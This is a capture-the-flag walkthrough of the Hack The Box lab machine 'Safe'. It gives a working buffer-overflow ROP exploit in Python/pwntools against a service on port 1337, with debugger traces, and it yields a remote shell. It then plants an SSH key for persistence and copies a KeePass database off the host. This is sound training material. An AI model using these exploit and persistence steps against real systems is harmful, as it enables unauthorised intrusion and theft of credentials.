Hackthebox Safe Walkthrough
18 Jan 2020
Explanation
Hackthebox is a website which has a bunch of vulnerable machines in its own VPN.
This is a walkthrough of a box “Safe”.
Solution
1. Initial Enumeration
TCP Port Scanning:
root@kali:~# nmap -p- 10.10.10.147 -sV -sC
Starting Nmap 7.80 ( https://nmap.org ) at 2020-01-17 11:22 EET
Nmap scan report for 10.10.10.147
Host is up ( 0.044s latency) .
Not shown: 65532 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u6 ( protocol 2.0)
| ssh-hostkey:
| 2048 6d:7c:81:3d:6a:3d:f9:5f:2e:1f:6a:97:e5:00:ba:de ( RSA)
| 256 99:7e:1e:22:76:72:da:3c:c9:61:7d:74:d7:80:33:d2 ( ECDSA)
|_ 256 6a:6b:c3:8e:4b:28:f7:60:85:b1:62:ff:54:bc:d8:d6 ( ED25519)
80/tcp open http Apache httpd 2.4.25 (( Debian))
|_http-server-header: Apache/2.4.25 ( Debian)
|_http-title: Apache2 Debian Default Page: It works
1337/tcp open waste?
| fingerprint-strings:
| DNSStatusRequestTCP:
| 04:27:48 up 5 min, 0 users , load average: 0.00, 0.00, 0.00
| DNSVersionBindReqTCP:
| 04:27:43 up 5 min, 0 users , load average: 0.00, 0.00, 0.00
| GenericLines:
| 04:27:32 up 5 min, 0 users , load average: 0.00, 0.00, 0.00
| What do you want me to echo back?
| GetRequest:
| 04:27:38 up 5 min, 0 users , load average: 0.00, 0.00, 0.00
| What do you want me to echo back? GET / HTTP/1.0
| HTTPOptions:
| 04:27:38 up 5 min, 0 users , load average: 0.00, 0.00, 0.00
| What do you want me to echo back? OPTIONS / HTTP/1.0
| Help:
| 04:27:54 up 5 min, 0 users , load average: 0.00, 0.00, 0.00
| What do you want me to echo back? HELP
| NULL:
| 04:27:32 up 5 min, 0 users , load average: 0.00, 0.00, 0.00
| RPCCheck:
| 04:27:38 up 5 min, 0 users , load average: 0.00, 0.00, 0.00
| RTSPRequest:
| 04:27:38 up 5 min, 0 users , load average: 0.00, 0.00, 0.00
| What do you want me to echo back? OPTIONS / RTSP/1.0
| SSLSessionReq, TLSSessionReq, TerminalServerCookie:
| 04:27:54 up 5 min, 0 users , load average: 0.00, 0.00, 0.00
|_ What do you want me to echo back?
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port1337-TCP:V= 7.80%I= 7%D= 1/17%Time= 5E217D33%P= x86_64-pc-linux-gnu%r( NU
SF:LL,3E," \x 2004:27:32 \x 20up \x 205 \x 20min, \x 20 \x 200 \x 20users, \x 20 \x 20load \x
SF:20average: \x 200 \. 00, \x 200 \. 00, \x 200 \. 00 \n " ) %r( GenericLines,63," \x 2004:2
SF:7:32 \x 20up \x 205 \x 20min, \x 20 \x 200 \x 20users, \x 20 \x 20load \x 20average: \x 200
SF: \. 00, \x 200 \. 00, \x 200 \. 00 \n\n What \x 20do \x 20you \x 20want \x 20me \x 20to \x 20ec
SF:ho \x 20back \?\x 20 \r\n " ) %r( GetRequest,71," \x 2004:27:38 \x 20up \x 205 \x 20min,
SF: \x 20 \x 200 \x 20users, \x 20 \x 20load \x 20average: \x 200 \. 00, \x 200 \. 00, \x 200 \. 0
SF:0 \n\n What \x 20do \x 20you \x 20want \x 20me \x 20to \x 20echo \x 20back \?\x 20GET \x 20
SF:/ \x 20HTTP/1 \. 0 \r\n " ) %r( HTTPOptions,75," \x 2004:27:38 \x 20up \x 205 \x 20min, \
SF:x20 \x 200 \x 20users, \x 20 \x 20load \x 20average: \x 200 \. 00, \x 200 \. 00, \x 200 \. 00
SF: \n\n What \x 20do \x 20you \x 20want \x 20me \x 20to \x 20echo \x 20back \?\x 20OPTIONS \
SF:x20/ \x 20HTTP/1 \. 0 \r\n " ) %r( RTSPRequest,75," \x 2004:27:38 \x 20up \x 205 \x 20mi
SF:n, \x 20 \x 200 \x 20users, \x 20 \x 20load \x 20average: \x 200 \. 00, \x 200 \. 00, \x 200 \
SF:.00 \n\n What \x 20do \x 20you \x 20want \x 20me \x 20to \x 20echo \x 20back \?\x 20OPTIO
SF:NS \x 20/ \x 20RTSP/1 \. 0 \r\n " ) %r( RPCCheck,3E," \x 2004:27:38 \x 20up \x 205 \x 20mi
SF:n, \x 20 \x 200 \x 20users, \x 20 \x 20load \x 20average: \x 200 \. 00, \x 200 \. 00, \x 200 \
SF:.00 \n " ) %r( DNSVersionBindReqTCP,3E," \x 2004:27:43 \x 20up \x 205 \x 20min, \x 20 \
SF:x200 \x 20users, \x 20 \x 20load \x 20average: \x 200 \. 00, \x 200 \. 00, \x 200 \. 00 \n " )
SF:%r( DNSStatusRequestTCP,3E," \x 2004:27:48 \x 20up \x 205 \x 20min, \x 20 \x 200 \x 20
SF:users, \x 20 \x 20load \x 20average: \x 200 \. 00, \x 200 \. 00, \x 200 \. 00 \n " ) %r( Help,
SF:67," \x 2004:27:54 \x 20up \x 205 \x 20min, \x 20 \x 200 \x 20users, \x 20 \x 20load \x 20a
SF:verage: \x 200 \. 00, \x 200 \. 00, \x 200 \. 00 \n\n What \x 20do \x 20you \x 20want \x 20me
SF: \x 20to \x 20echo \x 20back \?\x 20HELP \r\n " ) %r( SSLSessionReq,64," \x 2004:27:54
SF: \x 20up \x 205 \x 20min, \x 20 \x 200 \x 20users, \x 20 \x 20load \x 20average: \x 200 \. 00
SF:, \x 200 \. 00, \x 200 \. 00 \n\n What \x 20do \x 20you \x 20want \x 20me \x 20to \x 20echo \x
SF:20back \?\x 20 \x 16 \x 03 \n " ) %r( TerminalServerCookie,63," \x 2004:27:54 \x 20up \
SF:x205 \x 20min, \x 20 \x 200 \x 20users, \x 20 \x 20load \x 20average: \x 200 \. 00, \x 200 \
SF:.00, \x 200 \. 00 \n\n What \x 20do \x 20you \x 20want \x 20me \x 20to \x 20echo \x 20back \
SF:? \x 20 \x 03 \n " ) %r( TLSSessionReq,64," \x 2004:27:54 \x 20up \x 205 \x 20min, \x 20 \x
SF:200 \x 20users, \x 20 \x 20load \x 20average: \x 200 \. 00, \x 200 \. 00, \x 200 \. 00 \n\n W
SF:hat \x 20do \x 20you \x 20want \x 20me \x 20to \x 20echo \x 20back \?\x 20 \x 16 \x 03 \n " ) ;
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done : 1 IP address ( 1 host up) scanned in 151.31 seconds
root@kali:~#
2. Getting User
We have 1 interesting service on port 1337.
Sounds it is showing the command result of “uptime”
root@kali:~# nc 10.10.10.147 1337
04:52:20 up 30 min, 0 users , load average: 0.00, 0.00, 0.00
What do you want me to echo back?
root@kali:~#
Besides, we have an interesting message on the port 80.
It says that the app on port 1337 can be downloaded from here.
root@kali:~# curl -s http://10.10.10.147 | head -n 5
<! DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd" >
<html xmlns = "http://www.w3.org/1999/xhtml" >
<! -- 'myapp' can be downloaded to analyze from here
its running on port 1337 -- >
( 23) Failed writing body
root@kali:~#
Then, download the “myapp” with the following command.
root@kali:~# curl -s http://10.10.10.147/myapp -o myapp
Try to run the script.
Looks like it just echoes back the input message.
root@kali:~# chmod +x myapp
root@kali:~# ./myapp
11:57:23 up 10:20, 1 user, load average: 1.99, 2.32, 2.25
What do you want me to echo back? AAAAA
AAAAA
root@kali:~#
On the other hand, if we put a bunch of characters, we have segmentation fault.
This means we have Buffer Overflow Exploit here.
root@kali:~# ./myapp
12:04:32 up 10:27, 1 user, load average: 2.87, 2.51, 2.31
What do you want me to echo back? AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAaaaaa
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAaaaaa
Segmentation fault
root@kali:~#
Actually, we can disassemble and view the actual C code of this executable with “Ghidra ”.
It is showing that actually “uptime” command is running.
Then, open the executable with GDB and its extension GEF.
By the “checksec” command, we can analyze if it has any protection.
This time, NX is enabled and this means we can’t write our shellcode on the stack and execute.
Canary: used to detect a stack buffer overflow before execution of malicious code can occur.
NX: No eXecute bit(Data Execution Prevention for Windows)
PIE: Position Independent Executable
RelRO: RELocation ReadOnly
root@kali:~# gdb -q myapp
GEF for linux ready, type ` gef' to start, `gef config' to configure
80 commands loaded for GDB 8.3.1 using Python engine 3.7
Reading symbols from myapp...
( No debugging symbols found in myapp)
gef➤ checksec
[ +] checksec for '/root/myapp'
Canary : ✘
NX : ✓
PIE : ✘
Fortify : ✘
RelRO : Partial
gef➤
Next, try to figure out how many offsets do we need for the payload.
At first, create the following python script.
root@kali:~# cat rip_override.py
#!/usr/bin/python3
from pwn import *
payload = b'A' * 112
payload += b'B' * 8
f = open( "bin.txt" , "wb" )
f.write( payload)
root@kali:~#
Then, run the “rip_override.py”.
Now, we got the needed payload as “bin.txt”.
root@kali:~# python3 rip_override.py
root@kali:~# cat bin.txt
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBB
Then, run the “myapp” with the payload “bin.txt”.
We can confirm that the value of RBP is “BBBBBBBB”.
This means we can control the value of RIP with the bytes after 120.
root@kali:~# gdb -q ./myapp
GEF for linux ready, type ` gef' to start, `gef config' to configure
80 commands loaded for GDB 8.3.1 using Python engine 3.7
Reading symbols from ./myapp...
( No debugging symbols found in ./myapp)
gef➤ r < bin.txt
Starting program: /root/myapp < bin.txt
[ Detaching after vfork from child process 50982]
18:43:58 up 17:07, 1 user, load average: 2.09, 2.28, 2.47
What do you want me to echo back? AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBB
Program received signal SIGSEGV, Segmentation fault.
0x00007ffff7e11b00 in __libc_start_main ( main = 0x40115f <main>, argc = 0x405260, argv = 0x7fffffffe5b8, init = 0x7ffff7ed6904 <__GI___libc_write+20>, fini = 0x79, rtld_fini = 0x0, stack_end = 0x7fffffffe5a8) at ../csu/libc-start.c:141
141 ../csu/libc-start.c: No such file or directory.
[ Legend: Modified register | Code | Heap | Stack | String ]
───────────────────────────────────────────────────────────────────────────────────── registers ────
$rax : 0x0
$rbx : 0x0
$rcx : 0x00007ffff7ed6904 → 0x5477fffff0003d48 ( "H=" ?)
$rdx : 0x00007ffff7fa7580 → 0x0000000000000000
$rsp : 0x00007fffffffe4e0 → 0x0000000000000000
$rbp : 0x4242424242424242 ( "BBBBBBBB" ?)
$rsi : 0x0000000000405260 → "What do you want me to echo back? AAAAAAAAAAAAAAAA[...]"
$rdi : 0x0
$rip : 0x00007ffff7e11b00 → <__libc_start_main+48> or DWORD PTR [ rbx-0x7a3fceee], ecx
$r8 : 0x79
$r9 : 0x0
$r10 : 0x00000000004003e0 → 0x6972700073747570 ( "puts" ?)
$r11 : 0x246
$r12 : 0x0000000000401070 → <_start+0> xor ebp, ebp
$r13 : 0x00007fffffffe5b0 → 0x0000000000000001
$r14 : 0x0
$r15 : 0x0
$eflags : [ ZERO carry PARITY adjust sign trap INTERRUPT direction overflow RESUME virtualx86 identification]
$cs : 0x0033 $ss : 0x002b $ds : 0x0000 $es : 0x0000 $fs : 0x0000 $gs : 0x0000
───────────────────────────────────────────────────────────────────────────────────────── stack ────
0x00007fffffffe4e0│+0x0000: 0x0000000000000000 ← $rsp
0x00007fffffffe4e8│+0x0008: 0x00007fffffffe5b8 → 0x00007fffffffe802 → "/root/myapp"
0x00007fffffffe4f0│+0x0010: 0x0000000100040000
0x00007fffffffe4f8│+0x0018: 0x000000000040115f → <main+0> push rbp
0x00007fffffffe500│+0x0020: 0x0000000000000000
0x00007fffffffe508│+0x0028: 0xd70cde7fba685b2d
0x00007fffffffe510│+0x0030: 0x0000000000401070 → <_start+0> xor ebp, ebp
0x00007fffffffe518│+0x0038: 0x00007fffffffe5b0 → 0x0000000000000001
─────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
→ 0x7ffff7e11b00 <__libc_start_main+48> or DWORD PTR [ rbx-0x7a3fceee], ecx
0x7ffff7e11b06 <__libc_start_main+54> ror BYTE PTR [ rdi], cl
0x7ffff7e11b08 <__libc_start_main+56> xchg esp, eax
0x7ffff7e11b09 <__libc_start_main+57> ror BYTE PTR [ rcx+0x19269005], 0x0
0x7ffff7e11b10 <__libc_start_main+64> test rdi, rdi
0x7ffff7e11b13 <__libc_start_main+67> je 0x7ffff7e11b1e <__libc_start_main+78>
─────────────────────────────────────────────────────────────────────────────────────── threads ────
[ #0] Id 1, Name: "myapp", stopped 0x7ffff7e11b00 in __libc_start_main (), reason: SIGSEGV
───────────────────────────────────────────────────────────────────────────────────────── trace ────
[ #0] 0x7ffff7e11b00 → __libc_start_main(main=0x40115f <main>, argc=0x405260, argv=0x7fffffffe5b8, init=0x7ffff7ed6904 <__GI___libc_write+20>, fini=0x79, rtld_fini=0x0, stack_end=0x7fffffffe5a8)
[ #1] 0x40109a → _start()
────────────────────────────────────────────────────────────────────────────────────────────────────
gef➤
_
Next, try to look at overview of this ELF file.
We have an interesting function “test”.
gef➤ info functions
All defined functions:
Non-debugging symbols:
0x0000000000401000 _init
0x0000000000401030 puts@plt
0x0000000000401040 system@plt
0x0000000000401050 printf @plt
0x0000000000401060 gets@plt
0x0000000000401070 _start
0x00000000004010a0 _dl_relocate_static_pie
0x00000000004010b0 deregister_tm_clones
0x00000000004010e0 register_tm_clones
0x0000000000401120 __do_global_dtors_aux
0x0000000000401150 frame_dummy
0x0000000000401152 test
0x000000000040115f main
0x00000000004011b0 __libc_csu_init
0x0000000000401210 __libc_csu_fini
0x0000000000401214 _fini
gef➤
_
Then, look at the function “test”.
What it’s doing is following.
move RSP value to RDI
jump to the address in R13 register
gef➤ disass test
Dump of assembler code for function test :
0x0000000000401152 <+0>: push rbp
0x0000000000401153 <+1>: mov rbp,rsp
0x0000000000401156 <+4>: mov rdi,rsp
0x0000000000401159 <+7>: jmp r13
0x000000000040115c <+10>: nop
0x000000000040115d <+11>: pop rbp
0x000000000040115e <+12>: ret
End of assembler dump.
gef➤
This means if we can control the value of “r13” register, we can run any system call.
With the command “ropper ”, we can figure it out.
In the address “401206”, we have “pop r13”.
root@kali:~# ropper --file myapp --search "pop r13"
[ INFO] Load gadgets for section: LOAD
[ LOAD] loading... 100%
[ LOAD] removing double gadgets... 100%
[ INFO] Searching for gadgets: pop r13
[ INFO] File: myapp
0x0000000000401206: pop r13; pop r14; pop r15; ret;
root@kali:~#
Next, try to find out the address of “system” system call.
root@kali:~# objdump -d myapp | grep system
0000000000401040 <system@plt>:
401040: ff 25 da 2f 00 00 jmpq * 0x2fda( %rip) # 404020 <system@GLIBC_2.2.5>
40116e: e8 cd fe ff ff callq 401040 <system@plt>
root@kali:~#
Now we had enough information to write some exploit code.
But before that we have to install the python module “pwntools” with pip.
root@kali:~# pip install pwntools
---
root@kali:~# cat exploit.py
#!/usr/bin/python3
from pwn import *
buff = b"A" * 120
pop_r13 = p64( 0x401206)
system = p64( 0x40116e)
pop_r14 = b"B" * 8
pop_r15 = b"C" * 8
payload = buff + pop_r13 + system + pop_r14 + pop_r15
f = open( "exploit.txt" , "wb" )
f.write( payload)
root@kali:~# python3 exploit.py
root@kali:~# cat exploit.txt
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA@n@BBBBBBBBCCCCCCCC
Then, run the “myapp” again with the generated payload.
We can confirm that r14 is “BBBBBBBB” and r15 is “CCCCCCCC”.
root@kali:~# gdb -q myapp
GEF for linux ready, type ` gef' to start, `gef config' to configure
80 commands loaded for GDB 8.3.1 using Python engine 3.7
Reading symbols from myapp...
( No debugging symbols found in myapp)
gef➤ r < exploit.txt
Starting program: /root/myapp < exploit.txt
[ Detaching after vfork from child process 56780]
20:56:53 up 19:20, 1 user, load average: 2.56, 2.26, 2.13
What do you want me to echo back? AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA@
Program received signal SIGSEGV, Segmentation fault.
0x0000000000401100 in register_tm_clones ()
[ Legend: Modified register | Code | Heap | Stack | String ]
───────────────────────────────────────────────────────────────────────────────────── registers ────
$rax : 0x0
$rbx : 0x0
$rcx : 0x00007ffff7ed6904 → 0x5477fffff0003d48 ( "H=" ?)
$rdx : 0x00007ffff7fa7580 → 0x0000000000000000
$rsp : 0x00007fffffffe500 → 0x0000000000000000
$rbp : 0x4141414141414141 ( "AAAAAAAA" ?)
$rsi : 0x0000000000405260 → "What do you want me to echo back? AAAAAAAAAAAAAAAA[...]"
$rdi : 0x0
$rip : 0x0000000000401100 → <register_tm_clones+32> add BYTE PTR [ rax], al
$r8 : 0x7c
$r9 : 0x0
$r10 : 0x00000000004003e0 → 0x6972700073747570 ( "puts" ?)
$r11 : 0x246
$r12 : 0x0000000000401070 → <_start+0> xor ebp, ebp
$r13 : 0x000000000040116e → <main+15> call 0x401040 <system@plt>
$r14 : 0x4242424242424242 ( "BBBBBBBB" ?)
$r15 : 0x4343434343434343 ( "CCCCCCCC" ?)
$eflags : [ ZERO carry PARITY adjust sign trap INTERRUPT direction overflow RESUME virtualx86 identification]
$cs : 0x0033 $ss : 0x002b $ds : 0x0000 $es : 0x0000 $fs : 0x0000 $gs : 0x0000
───────────────────────────────────────────────────────────────────────────────────────── stack ────
0x00007fffffffe500│+0x0000: 0x0000000000000000 ← $rsp
0x00007fffffffe508│+0x0008: 0xf8d1ac3ba2c3f088
0x00007fffffffe510│+0x0010: 0x0000000000401070 → <_start+0> xor ebp, ebp
0x00007fffffffe518│+0x0018: 0x00007fffffffe5b0 → 0x0000000000000001
0x00007fffffffe520│+0x0020: 0x0000000000000000
0x00007fffffffe528│+0x0028: 0x0000000000000000
0x00007fffffffe530│+0x0030: 0x072e53444863f088
0x00007fffffffe538│+0x0038: 0x072e4379b745f088
─────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
→ 0x401100 <register_tm_clones+32> add BYTE PTR [ rax], al
0x401102 <register_tm_clones+34> add BYTE PTR [ rax], al
0x401104 <register_tm_clones+36> test rax, rax
0x401107 <register_tm_clones+39> je 0x401110 <register_tm_clones+48>
0x401109 <register_tm_clones+41> mov edi, 0x404048
0x40110e <register_tm_clones+46> jmp rax
─────────────────────────────────────────────────────────────────────────────────────── threads ────
[ #0] Id 1, Name: "myapp", stopped 0x401100 in register_tm_clones (), reason: SIGSEGV
───────────────────────────────────────────────────────────────────────────────────────── trace ────
[ #0] 0x401100 → register_tm_clones()
────────────────────────────────────────────────────────────────────────────────────────────────────
gef➤
Then, modify the script like the following and run.
root@kali:~# cat exploit.py
#!/usr/bin/python3
from pwn import *
buff = b"A" * 120
pop_r13 = p64( 0x401206)
system = p64( 0x40116e)
pop_r14 = b"B" * 8
pop_r15 = b"C" * 8
test = p64( 0x401156)
sh = b"/bin/sh \x 00"
payload = buff + pop_r13 + system + pop_r14 + pop_r15 + test + sh
f = open( "exploit.txt" , "wb" )
f.write( payload)
root@kali:~#
After that, run the “myapp” with the new “exploit.txt”.
However, this time add a breakpoint in “0x401156” in the function “test”.
root@kali:~# gdb -q ./myapp
GEF for linux ready, type ` gef' to start, `gef config' to configure
80 commands loaded for GDB 8.3.1 using Python engine 3.7
Reading symbols from ./myapp...
( No debugging symbols found in ./myapp)
gef➤ break * 0x401156
Breakpoint 1 at 0x401156
gef➤ r < exploit.txt
Starting program: /root/myapp < exploit.txt
[ Detaching after vfork from child process 58438]
21:41:11 up 20:04, 1 user, load average: 1.74, 1.74, 1.80
What do you want me to echo back? AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA@
Breakpoint 1, 0x0000000000401156 in test ()
__main__:2476: DeprecationWarning: invalid escape sequence '\¿'
[ Legend: Modified register | Code | Heap | Stack | String ]
──────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$rax : 0x0
$rbx : 0x0
$rcx : 0x00007ffff7ed6904 → 0x5477fffff0003d48 ( "H=" ?)
$rdx : 0x00007ffff7fa7580 → 0x0000000000000000
$rsp : 0x00007fffffffe500 → 0x0068732f6e69622f ( "/bin/sh" ?)
$rbp : 0x4141414141414141 ( "AAAAAAAA" ?)
$rsi : 0x0000000000405260 → "What do you want me to echo back? AAAAAAAAAAAAAAAA[...]"
$rdi : 0x0
$rip : 0x0000000000401156 → <test +4> mov rdi, rsp
$r8 : 0x7c
$r9 : 0x0
$r10 : 0x00000000004003e0 → 0x6972700073747570 ( "puts" ?)
$r11 : 0x246
$r12 : 0x0000000000401070 → <_start+0> xor ebp, ebp
$r13 : 0x000000000040116e → <main+15> call 0x401040 <system@plt>
$r14 : 0x4242424242424242 ( "BBBBBBBB" ?)
$r15 : 0x4343434343434343 ( "CCCCCCCC" ?)
$eflags : [ ZERO carry PARITY adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs : 0x0033 $ss : 0x002b $ds : 0x0000 $es : 0x0000 $fs : 0x0000 $gs : 0x0000
──────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0x00007fffffffe500│+0x0000: 0x0068732f6e69622f ( "/bin/sh" ?) ← $rsp
0x00007fffffffe508│+0x0008: 0xcf412594aada6b00
0x00007fffffffe510│+0x0010: 0x0000000000401070 → <_start+0> xor ebp, ebp
0x00007fffffffe518│+0x0018: 0x00007fffffffe5b0 → 0x0000000000000001
0x00007fffffffe520│+0x0020: 0x0000000000000000
0x00007fffffffe528│+0x0028: 0x0000000000000000
0x00007fffffffe530│+0x0030: 0x30bedaeb407a6b18
0x00007fffffffe538│+0x0038: 0x30becad6bf5c6b18
────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
0x40114e <__do_global_dtors_aux+46> add bl, bpl
0x401151 <frame_dummy+1> mov ss, WORD PTR [ rbp+0x48]
0x401154 <test +2> mov ebp, esp
→ 0x401156 <test +4> mov rdi, rsp
0x401159 <test +7> jmp r13
0x40115c <test +10> nop
0x40115d <test +11> pop rbp
0x40115e <test +12> ret
0x40115f <main+0> push rbp
────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[ #0] Id 1, Name: "myapp", stopped 0x401156 in test (), reason: BREAKPOINT
──────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[ #0] 0x401156 → test()
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
gef➤
Then, go to next step with the command “si”.
It goes to the instruction “jmp r13”
gef➤ si
---
0x401151 <frame_dummy+1> mov ss, WORD PTR [ rbp+0x48]
0x401154 <test +2> mov ebp, esp
0x401156 <test +4> mov rdi, rsp
→ 0x401159 <test +7> jmp r13
0x40115c <test +10> nop
0x40115d <test +11> pop rbp
0x40115e <test +12> ret
0x40115f <main+0> push rbp
0x401160 <main+1> mov rbp, rsp
---
Go to the next step.
We can confirm that “system()” is executed with the argument “/bin/sh”.
gef➤ si
0x000000000040116e in main ()
---
0x401160 <main+1> mov rbp, rsp
0x401163 <main+4> sub rsp, 0x70
0x401167 <main+8> lea rdi, [ rip+0xe9a] # 0x402008
→ 0x40116e <main+15> call 0x401040 <system@plt>
↳ 0x401040 <system@plt+0> jmp QWORD PTR [ rip+0x2fda] # 0x404020 <system@got.plt>
0x401046 <system@plt+6> push 0x1
0x40104b <system@plt+11> jmp 0x401020
0x401050 <printf @plt+0> jmp QWORD PTR [ rip+0x2fd2] # 0x404028 <printf@got.plt>
0x401056 <printf @plt+6> push 0x2
0x40105b <printf @plt+11> jmp 0x401020
────────────────────────────────────────────────────────────────────────────────────────────────── arguments ( guessed) ────
system@plt (
$rdi = 0x00007fffffffe500 → 0x0068732f6e69622f ( "/bin/sh" ?) ,
$rsi = 0x0000000000405260 → "What do you want me to echo back? AAAAAAAAAAAAAAAA[...]"
)
---
We can confirm that if the payload is correct locally with the following way.
root@kali:~# ( cat exploit.txt ; cat ) | ./myapp
21:50:47 up 20:14, 1 user, load average: 1.89, 2.01, 1.93
What do you want me to echo back? AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA@
whoami
root
Now we confirmed that we can use this exploit locally.
Finally, modify the script exploit for the remote host.
root@kali:~# cat exploit.py
#!/usr/bin/python3
from pwn import *
p = remote( "10.10.10.147" , 1337)
buff = b"A" * 120
pop_r13 = p64( 0x401206)
system = p64( 0x40116e)
pop_r14 = b"B" * 8
pop_r15 = b"C" * 8
test = p64( 0x401156)
sh = b"/bin/sh \x 00"
payload = buff + pop_r13 + system + pop_r14 + pop_r15 + test + sh
p.sendline( payload)
p.interactive()
Run the exploit and we can achieve the user shell.
“user.txt” is in the directory “/home/user”.
root@kali:~# python3 exploit.py
[ +] Opening connection to 10.10.10.147 on port 1337: Done
[ * ] Switching to interactive mode
15:08:51 up 10:46, 0 users , load average: 0.00, 0.00, 0.00
$ id
uid = 1000( user) gid = 1000( user) groups = 1000( user) ,24( cdrom) ,25( floppy) ,29( audio) ,30( dip) ,44( video) ,46( plugdev) ,108( netdev) ,112( bluetooth)
$ pwd
/home/user
$ cat user.txt
7a29ee9b0fa17ac013d4bf01fd127690
$
3. Getting Root
Now we got limited user shell.
To get a full shell, put the ssh public key on the remote host.
*
$ pwd
/home/user/.ssh
$ echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDNWRWG3yzdzAY1uzzhaQDIh48rzaVi+50ZqB8anob1hYUinhpeaymXU5mCkD8/1Qs7Es7EBbAg9TdeBlnEiwuNdcDJvnM56AYkATENJ/B9yqFuwYH12MolKNKKg3gL9zZgqfUT/nfWXQZFkrSzR9dKxH+qBZiRkgaV7hZNF90ePA2vzL1Rhen/T/pUAwFWdLW29OyTGMJSl3FDHApq7M+4gu3GsEzknU5QyJZy/6QQ9+htZYWoPOf3wGu57820zu8xvDqbWoJdSCcZEG0e0m4lI7K/sfDSetoKTQZy+PlHISD0m5SkyVRLCrXqU8OEU4/1/5bvMEqgA2+cChGqFfKZiPQgVLYmKvYy/EfRybsegLZ2QDpNecLYL3Lxa7gvtVHhdS0Vb96Hk9A0KxSO+V6Y7rtXjKPpz0aUR0hZnUOam5BU3IueJf42QmAI90qCKHbWukkbSe8u0Vx0qIDts9PF0QAPODFyvCPNo8jXrhUY8NGjDKtuxeefTyk/p2cF3G8= root@kali' >> authorized_keys
$
After that, login to Safe with ssh.
root@kali:~/.ssh# ssh user@10.10.10.147
Enter passphrase for key '/root/.ssh/id_rsa' :
Linux safe 4.9.0-9-amd64 #1 SMP Debian 4.9.168-1 (2019-04-12) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/* /copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Fri Jan 17 16:12:35 2020 from 10.10.14.36
user@safe:~$
In the home directory, we have some image files and a KeePass database.
user@safe:~$ ls -l
total 11260
-rw-r--r-- 1 user user 1907614 May 13 2019 IMG_0545.JPG
-rw-r--r-- 1 user user 1916770 May 13 2019 IMG_0546.JPG
-rw-r--r-- 1 user user 2529361 May 13 2019 IMG_0547.JPG
-rw-r--r-- 1 user user 2926644 May 13 2019 IMG_0548.JPG
-rw-r--r-- 1 user user 1125421 May 13 2019 IMG_0552.JPG
-rw-r--r-- 1 user user 1085878 May 13 2019 IMG_0553.JPG
-rw-r--r-- 1 user user 2446 May 13 2019 MyPasswords.kdbx
-rwxr-xr-x 1 user user 16592 May 13 2019 myapp
-rw------- 1 user user 33 May 13 2019 user.txt
user@safe:~$
Then download these files with scp command.
root@kali:~# scp 'user@10.10.10.147:~/*.JPG' .
Enter passphrase for key '/root/.ssh/id_rsa' :
IMG_0545.JPG 100% 1863KB 4.6MB/s 00:00
IMG_0546.JPG 100% 1872KB 10.5MB/s 00:00
IMG_0547.JPG 100% 2470KB 10.2MB/s 00:00
IMG_0548.JPG 100% 2858KB 10.4MB/s 00:00
IMG_0552.JPG 100% 1099KB 9.1MB/s 00:00
IMG_0553.JPG 100% 1060KB 8.6MB/s 00:00
root@kali:~# scp 'user@10.10.10.147:~/*.kdbx' .
Enter passphrase for key '/root/.ssh/id_rsa' :
